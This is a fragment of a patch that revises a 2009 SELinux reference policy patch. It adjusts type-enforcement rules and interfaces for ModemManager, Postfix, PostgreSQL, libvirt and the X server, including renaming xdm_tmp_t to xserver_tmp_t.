  	hal_domtrans_mac(devicekit_power_t)
@@ -14802,7 +14863,16 @@ diff -b -B --ignore-all-space --exclude-
  	logging_send_syslog_msg($1_milter_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/modemmanager.te serefpolicy-3.6.32/policy/modules/services/modemmanager.te
 --- nsaserefpolicy/policy/modules/services/modemmanager.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/modemmanager.te	2009-10-19 09:11:09.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/modemmanager.te	2009-10-22 10:43:01.000000000 -0400
+@@ -16,7 +16,7 @@
+ #
+ # ModemManager local policy
+ #
+-
++allow modemmanager_t self:process signal;  
+ allow modemmanager_t self:fifo_file rw_file_perms;
+ allow modemmanager_t self:unix_stream_socket create_stream_socket_perms;
+ allow modemmanager_t self:netlink_kobject_uevent_socket create_socket_perms;
 @@ -24,6 +24,7 @@
  kernel_read_system_state(modemmanager_t)
  
@@ -17348,7 +17418,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/postfix.te serefpolicy-3.6.32/policy/modules/services/postfix.te
 --- nsaserefpolicy/policy/modules/services/postfix.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/postfix.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/postfix.te	2009-10-21 16:53:07.000000000 -0400
 @@ -6,6 +6,15 @@
  # Declarations
  #
@@ -17509,7 +17579,7 @@ diff -b -B --ignore-all-space --exclude-
  
  manage_dirs_pattern(postfix_bounce_t, postfix_spool_bounce_t, postfix_spool_bounce_t)
  manage_files_pattern(postfix_bounce_t, postfix_spool_bounce_t, postfix_spool_bounce_t)
-@@ -240,11 +268,16 @@
+@@ -240,11 +268,18 @@
  manage_dirs_pattern(postfix_cleanup_t, postfix_spool_t, postfix_spool_t)
  manage_files_pattern(postfix_cleanup_t, postfix_spool_t, postfix_spool_t)
  manage_lnk_files_pattern(postfix_cleanup_t, postfix_spool_t, postfix_spool_t)
@@ -17519,6 +17589,8 @@ diff -b -B --ignore-all-space --exclude-
  
  corecmd_exec_bin(postfix_cleanup_t)
  
++mta_read_aliases(postfix_cleanup_t)
++
 +optional_policy(`
 +	mailman_read_data_files(postfix_cleanup_t)
 +')
@@ -17526,7 +17598,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # Postfix local local policy
-@@ -253,10 +286,6 @@
+@@ -253,10 +288,6 @@
  allow postfix_local_t self:fifo_file rw_fifo_file_perms;
  allow postfix_local_t self:process { setsched setrlimit };
  
@@ -17537,7 +17609,7 @@ diff -b -B --ignore-all-space --exclude-
  # connect to master process
  stream_connect_pattern(postfix_local_t, postfix_public_t, postfix_public_t, postfix_master_t)
  
-@@ -270,18 +299,29 @@
+@@ -270,18 +301,29 @@
  
  files_read_etc_files(postfix_local_t)
  
@@ -17567,7 +17639,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -292,8 +332,7 @@
+@@ -292,8 +334,7 @@
  #
  # Postfix map local policy
  #
@@ -17577,7 +17649,7 @@ diff -b -B --ignore-all-space --exclude-
  allow postfix_map_t self:unix_stream_socket create_stream_socket_perms;
  allow postfix_map_t self:unix_dgram_socket create_socket_perms;
  allow postfix_map_t self:tcp_socket create_stream_socket_perms;
-@@ -340,14 +379,15 @@
+@@ -340,14 +381,15 @@
  
  miscfiles_read_localization(postfix_map_t)
  
@@ -17597,7 +17669,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # Postfix pickup local policy
-@@ -372,6 +412,7 @@
+@@ -372,6 +414,7 @@
  #
  
  allow postfix_pipe_t self:fifo_file rw_fifo_file_perms;
@@ -17605,7 +17677,7 @@ diff -b -B --ignore-all-space --exclude-
  
  write_sock_files_pattern(postfix_pipe_t, postfix_private_t, postfix_private_t)
  
-@@ -379,6 +420,12 @@
+@@ -379,6 +422,12 @@
  
  rw_files_pattern(postfix_pipe_t, postfix_spool_t, postfix_spool_t)
  
@@ -17618,7 +17690,7 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
  	procmail_domtrans(postfix_pipe_t)
  ')
-@@ -388,6 +435,15 @@
+@@ -388,6 +437,15 @@
  ')
  
  optional_policy(`
@@ -17634,7 +17706,7 @@ diff -b -B --ignore-all-space --exclude-
  	uucp_domtrans_uux(postfix_pipe_t)
  ')
  
-@@ -415,6 +471,10 @@
+@@ -415,6 +473,10 @@
  mta_rw_user_mail_stream_sockets(postfix_postdrop_t)
  
  optional_policy(`
@@ -17645,7 +17717,7 @@ diff -b -B --ignore-all-space --exclude-
  	cron_system_entry(postfix_postdrop_t, postfix_postdrop_exec_t)
  ')
  
-@@ -424,8 +484,11 @@
+@@ -424,8 +486,11 @@
  ')
  
  optional_policy(`
@@ -17659,7 +17731,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -451,6 +514,15 @@
+@@ -451,6 +516,15 @@
  init_sigchld_script(postfix_postqueue_t)
  init_use_script_fds(postfix_postqueue_t)
  
@@ -17675,7 +17747,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # Postfix qmgr local policy
-@@ -464,6 +536,7 @@
+@@ -464,6 +538,7 @@
  manage_dirs_pattern(postfix_qmgr_t, postfix_spool_t, postfix_spool_t)
  manage_files_pattern(postfix_qmgr_t, postfix_spool_t, postfix_spool_t)
  manage_lnk_files_pattern(postfix_qmgr_t, postfix_spool_t, postfix_spool_t)
@@ -17683,7 +17755,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow postfix_qmgr_t postfix_spool_bounce_t:dir list_dir_perms;
  allow postfix_qmgr_t postfix_spool_bounce_t:file read_file_perms;
-@@ -505,7 +578,7 @@
+@@ -505,7 +580,7 @@
  
  allow postfix_smtp_t postfix_spool_t:file rw_file_perms;
  
@@ -17692,7 +17764,7 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	cyrus_stream_connect(postfix_smtp_t)
-@@ -535,9 +608,18 @@
+@@ -535,9 +610,18 @@
  
  # for OpenSSL certificates
  files_read_usr_files(postfix_smtpd_t)
@@ -17711,7 +17783,7 @@ diff -b -B --ignore-all-space --exclude-
  	mailman_read_data_files(postfix_smtpd_t)
  ')
  
-@@ -559,20 +641,22 @@
+@@ -559,20 +643,22 @@
  
  allow postfix_virtual_t postfix_spool_t:file rw_file_perms;
  
@@ -17741,7 +17813,7 @@ diff -b -B --ignore-all-space --exclude-
 +userdom_user_home_dir_filetrans_user_home_content(postfix_virtual_t, {file dir })
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/postgresql.fc serefpolicy-3.6.32/policy/modules/services/postgresql.fc
 --- nsaserefpolicy/policy/modules/services/postgresql.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/postgresql.fc	2009-10-21 11:42:45.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/postgresql.fc	2009-10-21 12:55:04.000000000 -0400
 @@ -2,6 +2,8 @@
  # /etc
  #
@@ -17751,6 +17823,34 @@ diff -b -B --ignore-all-space --exclude-
  
  #
  # /usr
+@@ -9,13 +11,11 @@
+ /usr/bin/initdb(\.sepgsql)?	--	gen_context(system_u:object_r:postgresql_exec_t,s0)
+ /usr/bin/(se)?postgres		--	gen_context(system_u:object_r:postgresql_exec_t,s0)
+ 
+-/usr/lib/pgsql/test/regres(/.*)?	gen_context(system_u:object_r:postgresql_db_t,s0)
+-/usr/lib/pgsql/test/regress/pg_regress -- gen_context(system_u:object_r:postgresql_exec_t,s0)
+-
+-/usr/lib(64)?/postgresql/bin/.* --	gen_context(system_u:object_r:postgresql_exec_t,s0)
++/usr/lib(64)?/pgsql/test/regress(/.*)?	gen_context(system_u:object_r:postgresql_db_t,s0)
++/usr/lib(64)?/pgsql/test/regress/pg_regress -- gen_context(system_u:object_r:postgresql_exec_t,s0)
+ 
+ ifdef(`distro_debian', `
+-/usr/lib/postgresql/.*/bin/.*	--	gen_context(system_u:object_r:postgresql_exec_t,s0)
++/usr/lib(64)?/postgresql/.*/bin/.*	--	gen_context(system_u:object_r:postgresql_exec_t,s0)
+ ')
+ 
+ ifdef(`distro_redhat', `
+@@ -38,8 +38,6 @@
+ /var/log/postgresql(/.*)?		gen_context(system_u:object_r:postgresql_log_t,s0)
+ /var/log/sepostgresql\.log.*	--	gen_context(system_u:object_r:postgresql_log_t,s0)
+ 
+-ifdef(`distro_redhat', `
+-/var/log/rhdb/rhdb(/.*)?		gen_context(system_u:object_r:postgresql_log_t,s0)
+-')
+-
+ /var/run/postgresql(/.*)?		gen_context(system_u:object_r:postgresql_var_run_t,s0)
++
++/var/run/postmaster.*			gen_context(system_u:object_r:postgresql_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/postgresql.if serefpolicy-3.6.32/policy/modules/services/postgresql.if
 --- nsaserefpolicy/policy/modules/services/postgresql.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/postgresql.if	2009-09-30 16:12:48.000000000 -0400
@@ -21997,7 +22097,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/libvirt/qemu(/.*)? 	gen_context(system_u:object_r:svirt_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.if serefpolicy-3.6.32/policy/modules/services/virt.if
 --- nsaserefpolicy/policy/modules/services/virt.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-10-20 18:38:58.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.if	2009-10-22 14:44:38.000000000 -0400
 @@ -136,7 +136,7 @@
  	')
  
@@ -22038,10 +22138,55 @@ diff -b -B --ignore-all-space --exclude-
  
  	tunable_policy(`virt_use_nfs',`
  		fs_manage_nfs_dirs($1)
-@@ -312,6 +314,41 @@
+@@ -304,8 +306,79 @@
+ 	')
  
- ########################################
- ## <summary>
+ 	tunable_policy(`virt_use_samba',`
+-		fs_manage_nfs_files($1)
+ 		fs_manage_cifs_files($1)
++		fs_manage_cifs_files($1)
++		fs_read_cifs_symlinks($1)
++	')
++')
++
++########################################
++## <summary>
++##	Allow domain to read virt image files
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain to not audit.
++##	</summary>
++## </param>
++#
++interface(`virt_read_images',`
++	gen_require(`
++		type virt_var_lib_t;
++		attribute virt_image_type;
++	')
++
++	virt_search_lib($1)
++	allow $1 virt_image_type:dir list_dir_perms;
++	list_dirs_pattern($1, virt_image_type, virt_image_type)
++	read_files_pattern($1, virt_image_type, virt_image_type)
++	read_lnk_files_pattern($1, virt_image_type, virt_image_type)
++	read_blk_files_pattern($1, virt_image_type, virt_image_type)
++
++	tunable_policy(`virt_use_nfs',`
++		fs_list_nfs($1)
++		fs_read_nfs_files($1)
++		fs_read_nfs_symlinks($1)
++	')
++
++	tunable_policy(`virt_use_samba',`
++		fs_list_cifs($1)
++		fs_read_cifs_files($1)
++		fs_read_cifs_symlinks($1)
++	')
++')
++
++########################################
++## <summary>
 +##	Allow domain to manage virt image files
 +## </summary>
 +## <param name="domain">
@@ -22060,7 +22205,7 @@ diff -b -B --ignore-all-space --exclude-
 +	list_dirs_pattern($1, virt_content_t, virt_content_t)
 +	read_files_pattern($1, virt_content_t, virt_content_t)
 +	read_lnk_files_pattern($1, virt_content_t, virt_content_t)
-+	rw_blk_files_pattern($1, virt_content_t, virt_content_t)
++	read_blk_files_pattern($1, virt_content_t, virt_content_t)
 +
 +	tunable_policy(`virt_use_nfs',`
 +		fs_list_nfs($1)
@@ -22071,16 +22216,10 @@ diff -b -B --ignore-all-space --exclude-
 +	tunable_policy(`virt_use_samba',`
 +		fs_list_cifs($1)
 +		fs_read_cifs_files($1)
-+		fs_read_cifs_symlinks($1)
-+	')
-+')
-+
-+########################################
-+## <summary>
- ##	All of the rules required to administrate 
- ##	an virt environment
- ## </summary>
-@@ -346,3 +383,79 @@
+ 		fs_read_cifs_symlinks($1)
+ 	')
+ ')
+@@ -346,3 +419,79 @@
  
  	virt_manage_log($1)
  ')
@@ -22162,7 +22301,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/virt.te serefpolicy-3.6.32/policy/modules/services/virt.te
 --- nsaserefpolicy/policy/modules/services/virt.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-20 18:29:08.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/virt.te	2009-10-22 13:55:08.000000000 -0400
 @@ -20,6 +20,28 @@
  ## </desc>
  gen_tunable(virt_use_samba, false)
@@ -22346,7 +22485,7 @@ diff -b -B --ignore-all-space --exclude-
  term_use_ptmx(virtd_t)
  
  auth_use_nsswitch(virtd_t)
-@@ -130,7 +215,14 @@
+@@ -130,7 +215,16 @@
  
  logging_send_syslog_msg(virtd_t)
  
@@ -22358,10 +22497,12 @@ diff -b -B --ignore-all-space --exclude-
 +userdom_list_user_home_content(virtd_t)
  userdom_read_all_users_state(virtd_t)
 +userdom_read_user_home_content_files(virtd_t)
++userdom_relabel_user_home_files(virtd_t)
++userdom_setattr_user_home_content_files(virtd_t)
  
  tunable_policy(`virt_use_nfs',`
  	fs_manage_nfs_dirs(virtd_t)
-@@ -168,22 +260,36 @@
+@@ -168,22 +262,36 @@
  	dnsmasq_domtrans(virtd_t)
  	dnsmasq_signal(virtd_t)
  	dnsmasq_kill(virtd_t)
@@ -22403,7 +22544,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -196,8 +302,162 @@
+@@ -196,8 +304,162 @@
  
  	xen_stream_connect(virtd_t)
  	xen_stream_connect_xenstore(virtd_t)
@@ -22590,7 +22731,7 @@ diff -b -B --ignore-all-space --exclude-
  corenet_tcp_connect_http_port(httpd_w3c_validator_script_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.fc serefpolicy-3.6.32/policy/modules/services/xserver.fc
 --- nsaserefpolicy/policy/modules/services/xserver.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-10-08 09:26:09.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.fc	2009-10-22 11:39:22.000000000 -0400
 @@ -3,12 +3,17 @@
  #
  HOME_DIR/\.fonts\.conf	--	gen_context(system_u:object_r:user_fonts_config_t,s0)
@@ -22621,6 +22762,19 @@ diff -b -B --ignore-all-space --exclude-
  #
  # /opt
  #
+@@ -47,10 +47,10 @@
+ # /tmp
+ #
+ 
+-/tmp/\.ICE-unix		-d	gen_context(system_u:object_r:xdm_tmp_t,s0)
++/tmp/\.ICE-unix		-d	gen_context(system_u:object_r:xserver_tmp_t,s0)
+ /tmp/\.ICE-unix/.*	-s	<<none>>
+ /tmp/\.X0-lock		--	gen_context(system_u:object_r:xserver_tmp_t,s0)
+-/tmp/\.X11-unix		-d	gen_context(system_u:object_r:xdm_tmp_t,s0)
++/tmp/\.X11-unix		-d	gen_context(system_u:object_r:xserver_tmp_t,s0)
+ /tmp/\.X11-unix/.*	-s	<<none>>
+ 
+ #
 @@ -61,7 +61,9 @@
  /usr/(s)?bin/[xgkw]dm	--	gen_context(system_u:object_r:xdm_exec_t,s0)
  /usr/bin/gpe-dm		--	gen_context(system_u:object_r:xdm_exec_t,s0)
@@ -22668,7 +22822,18 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/pam_devperm/:0	--	gen_context(system_u:object_r:xdm_var_lib_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.if serefpolicy-3.6.32/policy/modules/services/xserver.if
 --- nsaserefpolicy/policy/modules/services/xserver.if	2009-09-09 15:37:17.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.if	2009-10-13 17:35:30.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.if	2009-10-22 11:38:18.000000000 -0400
+@@ -89,8 +89,8 @@
+ 	# for when /tmp/.X11-unix is created by the system
+ 	allow $2 xdm_t:fd use;
+ 	allow $2 xdm_t:fifo_file { getattr read write ioctl };
+-	allow $2 xdm_tmp_t:dir search;
+-	allow $2 xdm_tmp_t:sock_file { read write };
++	allow $2 xserver_tmp_t:dir search;
++	allow $2 xserver_tmp_t:sock_file { read write };
+ 	dontaudit $2 xdm_t:tcp_socket { read write };
+ 
+ 	# Client read xserver shm
 @@ -211,6 +211,7 @@
  	relabel_dirs_pattern($2, user_fonts_config_t, user_fonts_config_t)
  	relabel_files_pattern($2, user_fonts_config_t, user_fonts_config_t)
@@ -22686,7 +22851,16 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Client read xserver shm
  	allow $1 xserver_t:fd use;
-@@ -308,12 +309,12 @@
+@@ -299,7 +300,7 @@
+ interface(`xserver_user_client',`
+ 	refpolicywarn(`$0() has been deprecated, please use xserver_user_x_domain_template instead.')
+ 	gen_require(`
+-		type xdm_t, xdm_tmp_t;
++		type xdm_t, xserver_tmp_t;
+ 		type xauth_home_t, iceauth_home_t, xserver_t, xserver_tmpfs_t;
+ 	')
+ 
+@@ -308,14 +309,14 @@
  	allow $1 self:unix_stream_socket { connectto create_stream_socket_perms };
  
  	# Read .Xauthority file
@@ -22698,10 +22872,14 @@ diff -b -B --ignore-all-space --exclude-
  	# for when /tmp/.X11-unix is created by the system
  	allow $1 xdm_t:fd use;
 -	allow $1 xdm_t:fifo_file { getattr read write ioctl };
+-	allow $1 xdm_tmp_t:dir search;
+-	allow $1 xdm_tmp_t:sock_file { read write };
 +	allow $1 xdm_t:fifo_file rw_fifo_file_perms;
- 	allow $1 xdm_tmp_t:dir search;
- 	allow $1 xdm_tmp_t:sock_file { read write };
++	allow $1 xserver_tmp_t:dir search;
++	allow $1 xserver_tmp_t:sock_file { read write };
  	dontaudit $1 xdm_t:tcp_socket { read write };
+ 
+ 	# Allow connections to X server.
 @@ -367,7 +368,6 @@
  		type input_xevent_t, focus_xevent_t, property_xevent_t, manage_xevent_t;
  		type xevent_t, client_xevent_t;
@@ -22752,9 +22930,12 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  #######################################
-@@ -486,11 +481,12 @@
+@@ -484,13 +479,14 @@
+ #
+ template(`xserver_user_x_domain_template',`
  	gen_require(`
- 		type xdm_t, xdm_tmp_t;
+-		type xdm_t, xdm_tmp_t;
++		type xdm_t, xserver_tmp_t;
  		type xauth_home_t, iceauth_home_t, xserver_t, xserver_tmpfs_t;
 +		class x_screen all_x_screen_perms;
  	')
@@ -22768,15 +22949,19 @@ diff -b -B --ignore-all-space --exclude-
  
  	# Read .Xauthority file
  	allow $2 xauth_home_t:file read_file_perms;
-@@ -498,7 +494,7 @@
+@@ -498,9 +494,9 @@
  
  	# for when /tmp/.X11-unix is created by the system
  	allow $2 xdm_t:fd use;
 -	allow $2 xdm_t:fifo_file { getattr read write ioctl };
+-	allow $2 xdm_tmp_t:dir search_dir_perms;
+-	allow $2 xdm_tmp_t:sock_file { read write };
 +	allow $2 xdm_t:fifo_file rw_fifo_file_perms;
- 	allow $2 xdm_tmp_t:dir search_dir_perms;
- 	allow $2 xdm_tmp_t:sock_file { read write };
++	allow $2 xserver_tmp_t:dir search_dir_perms;
++	allow $2 xserver_tmp_t:sock_file { read write };
  	dontaudit $2 xdm_t:tcp_socket { read write };
+ 
+ 	# Allow connections to X server.
 @@ -526,6 +522,10 @@
  		allow $2 xserver_t:shm rw_shm_perms;
  		allow $2 xserver_tmpfs_t:file rw_file_perms;
@@ -22797,11 +22982,47 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -827,6 +827,7 @@
+@@ -764,11 +764,11 @@
+ #
+ interface(`xserver_stream_connect_xdm',`
+ 	gen_require(`
+-		type xdm_t, xdm_tmp_t;
++		type xdm_t, xserver_tmp_t;
+ 	')
+ 
  	files_search_tmp($1)
- 	allow $1 xdm_tmp_t:dir list_dir_perms;
- 	create_sock_files_pattern($1, xdm_tmp_t, xdm_tmp_t)
-+	allow $1 xdm_tmp_t:sock_file unlink;
+-	stream_connect_pattern($1, xdm_tmp_t, xdm_tmp_t, xdm_t)
++	stream_connect_pattern($1, xserver_tmp_t, xserver_tmp_t, xdm_t)
+ ')
+ 
+ ########################################
+@@ -802,10 +802,10 @@
+ #
+ interface(`xserver_setattr_xdm_tmp_dirs',`
+ 	gen_require(`
+-		type xdm_tmp_t;
++		type xserver_tmp_t;
+ 	')
+ 
+-	allow $1 xdm_tmp_t:dir setattr;
++	allow $1 xserver_tmp_t:dir setattr;
+ ')
+ 
+ ########################################
+@@ -821,12 +821,13 @@
+ #
+ interface(`xserver_create_xdm_tmp_sockets',`
+ 	gen_require(`
+-		type xdm_tmp_t;
++		type xserver_tmp_t;
+ 	')
+ 
+ 	files_search_tmp($1)
+-	allow $1 xdm_tmp_t:dir list_dir_perms;
+-	create_sock_files_pattern($1, xdm_tmp_t, xdm_tmp_t)
++	allow $1 xserver_tmp_t:dir list_dir_perms;
++	create_sock_files_pattern($1, xserver_tmp_t, xserver_tmp_t)
++	allow $1 xserver_tmp_t:sock_file unlink;
  ')
  
  ########################################
@@ -22955,6 +23176,76 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to write the X server
  ##	log files.
  ## </summary>
+@@ -1014,11 +1135,11 @@
+ #
+ interface(`xserver_read_xdm_tmp_files',`
+ 	gen_require(`
+-		type xdm_tmp_t;
++		type xserver_tmp_t;
+ 	')
+ 
+  	files_search_tmp($1)
+-	read_files_pattern($1, xdm_tmp_t, xdm_tmp_t)
++	read_files_pattern($1, xserver_tmp_t, xserver_tmp_t)
+ ')
+ 
+ ########################################
+@@ -1033,11 +1154,11 @@
+ #
+ interface(`xserver_dontaudit_read_xdm_tmp_files',`
+ 	gen_require(`
+-		type xdm_tmp_t;
++		type xserver_tmp_t;
+ 	')
+ 
+-	dontaudit $1 xdm_tmp_t:dir search_dir_perms;
+-	dontaudit $1 xdm_tmp_t:file read_file_perms;
++	dontaudit $1 xserver_tmp_t:dir search_dir_perms;
++	dontaudit $1 xserver_tmp_t:file read_file_perms;
+ ')
+ 
+ ########################################
+@@ -1052,11 +1173,11 @@
+ #
+ interface(`xserver_rw_xdm_tmp_files',`
+ 	gen_require(`
+-		type xdm_tmp_t;
++		type xserver_tmp_t;
+ 	')
+ 
+-	allow $1 xdm_tmp_t:dir search_dir_perms;
+-	allow $1 xdm_tmp_t:file rw_file_perms;
++	allow $1 xserver_tmp_t:dir search_dir_perms;
++	allow $1 xserver_tmp_t:file rw_file_perms;
+ ')
+ 
+ ########################################
+@@ -1071,10 +1192,10 @@
+ #
+ interface(`xserver_manage_xdm_tmp_files',`
+ 	gen_require(`
+-		type xdm_tmp_t;
++		type xserver_tmp_t;
+ 	')
+ 
+-	manage_files_pattern($1, xdm_tmp_t, xdm_tmp_t)
++	manage_files_pattern($1, xserver_tmp_t, xserver_tmp_t)
+ ')
+ 
+ ########################################
+@@ -1089,10 +1210,10 @@
+ #
+ interface(`xserver_dontaudit_getattr_xdm_tmp_sockets',`
+ 	gen_require(`
+-		type xdm_tmp_t;
++		type xserver_tmp_t;
+ 	')
+ 
+-	dontaudit $1 xdm_tmp_t:sock_file getattr;
++	dontaudit $1 xserver_tmp_t:sock_file getattr;
+ ')
+ 
+ ########################################
 @@ -1107,10 +1228,11 @@
  #
  interface(`xserver_domtrans',`
@@ -23122,7 +23413,7 @@ diff -b -B --ignore-all-space --exclude-
 +#
 +interface(`xserver_use_xdm',`
 +	gen_require(`
-+		type xdm_t, xdm_tmp_t;
++		type xdm_t, xserver_tmp_t;
 +		type xdm_xproperty_t;
 +		type xdm_home_t;
 +		class x_client all_x_client_perms;
@@ -23284,7 +23575,7 @@ diff -b -B --ignore-all-space --exclude-
 +	allow $2 $1:x_drawable all_x_drawable_perms;
 +	allow $1 $2:x_resource all_x_resource_perms;
 +	allow $2 $1:x_resource all_x_resource_perms;
- ')
++')
 +
 +#######################################
 +## <summary>
@@ -23345,7 +23636,7 @@ diff -b -B --ignore-all-space --exclude-
 +	gen_require(`
 +		type xdm_t;
 +		class dbus send_msg;
-+	')
+ ')
 +
 +	allow $1 xdm_t:dbus send_msg;
 +	allow xdm_t $1:dbus send_msg;
@@ -23353,7 +23644,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.te serefpolicy-3.6.32/policy/modules/services/xserver.te
 --- nsaserefpolicy/policy/modules/services/xserver.te	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-10-08 08:58:37.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/xserver.te	2009-10-22 11:37:53.000000000 -0400
 @@ -34,6 +34,13 @@
  
  ## <desc>
@@ -23449,20 +23740,19 @@ diff -b -B --ignore-all-space --exclude-
  
  type xdm_var_lib_t;
  files_type(xdm_var_lib_t)
-@@ -174,6 +185,12 @@
+@@ -174,13 +185,21 @@
  type xdm_var_run_t;
  files_pid_file(xdm_var_run_t)
  
+-type xdm_tmp_t;
+-files_tmp_file(xdm_tmp_t)
+-typealias xdm_tmp_t alias ice_tmp_t;
 +type xserver_var_lib_t;
 +files_type(xserver_var_lib_t)
 +
 +type xserver_var_run_t;
 +files_pid_file(xserver_var_run_t)
-+
- type xdm_tmp_t;
- files_tmp_file(xdm_tmp_t)
- typealias xdm_tmp_t alias ice_tmp_t;
-@@ -181,6 +198,12 @@
+ 
  type xdm_tmpfs_t;
  files_tmpfs_file(xdm_tmpfs_t)
  
@@ -23475,7 +23765,14 @@ diff -b -B --ignore-all-space --exclude-
  # type for /var/lib/xkb
  type xkb_var_lib_t;
  files_type(xkb_var_lib_t)
-@@ -202,8 +225,8 @@
+@@ -196,14 +215,14 @@
+ ubac_constrained(xserver_t)
+ 
+ type xserver_tmp_t;
+-typealias xserver_tmp_t alias { user_xserver_tmp_t staff_xserver_tmp_t sysadm_xserver_tmp_t };
++typealias xserver_tmp_t alias { xdm_tmp_t user_xserver_tmp_t staff_xserver_tmp_t sysadm_xserver_tmp_t ice_tmp_t };
+ typealias xserver_tmp_t alias { auditadm_xserver_tmp_t secadm_xserver_tmp_t xdm_xserver_tmp_t };
+ files_tmp_file(xserver_tmp_t)
  ubac_constrained(xserver_tmp_t)
  
  type xserver_tmpfs_t;
@@ -23486,7 +23783,7 @@ diff -b -B --ignore-all-space --exclude-
  files_tmpfs_file(xserver_tmpfs_t)
  ubac_constrained(xserver_tmpfs_t)
  
-@@ -250,19 +273,21 @@
+@@ -250,19 +269,21 @@
  # Xauth local policy
  #
  
@@ -23511,7 +23808,7 @@ diff -b -B --ignore-all-space --exclude-
  domain_use_interactive_fds(xauth_t)
  
  files_read_etc_files(xauth_t)
-@@ -300,20 +325,31 @@
+@@ -300,20 +321,31 @@
  # XDM Local policy
  #
  
@@ -23546,12 +23843,20 @@ diff -b -B --ignore-all-space --exclude-
  
  # Allow gdm to run gdm-binary
  can_exec(xdm_t, xdm_exec_t)
-@@ -329,22 +365,39 @@
- manage_files_pattern(xdm_t, xdm_tmp_t, xdm_tmp_t)
- manage_sock_files_pattern(xdm_t, xdm_tmp_t, xdm_tmp_t)
- files_tmp_filetrans(xdm_t, xdm_tmp_t, { file dir sock_file })
-+relabelfrom_dirs_pattern(xdm_t, xdm_tmp_t, xdm_tmp_t)
-+relabelfrom_files_pattern(xdm_t, xdm_tmp_t, xdm_tmp_t)
+@@ -325,26 +357,43 @@
+ # this is ugly, daemons should not create files under /etc!
+ manage_files_pattern(xdm_t, xdm_rw_etc_t, xdm_rw_etc_t)
+ 
+-manage_dirs_pattern(xdm_t, xdm_tmp_t, xdm_tmp_t)
+-manage_files_pattern(xdm_t, xdm_tmp_t, xdm_tmp_t)
+-manage_sock_files_pattern(xdm_t, xdm_tmp_t, xdm_tmp_t)
+-files_tmp_filetrans(xdm_t, xdm_tmp_t, { file dir sock_file })
++manage_dirs_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
++manage_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
++manage_sock_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
++files_tmp_filetrans(xdm_t, xserver_tmp_t, { file dir sock_file })
++relabelfrom_dirs_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
++relabelfrom_files_pattern(xdm_t, xserver_tmp_t, xserver_tmp_t)
  
  manage_dirs_pattern(xdm_t, xdm_tmpfs_t, xdm_tmpfs_t)
  manage_files_pattern(xdm_t, xdm_tmpfs_t, xdm_tmpfs_t)
@@ -23589,7 +23894,7 @@ diff -b -B --ignore-all-space --exclude-
  
  allow xdm_t xserver_t:process signal;
  allow xdm_t xserver_t:unix_stream_socket connectto;
-@@ -358,6 +411,7 @@
+@@ -358,6 +407,7 @@
  allow xdm_t xserver_t:process { noatsecure siginh rlimitinh signal sigkill };
  
  allow xdm_t xserver_t:shm rw_shm_perms;
@@ -23597,7 +23902,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # connect to xdm xserver over stream socket
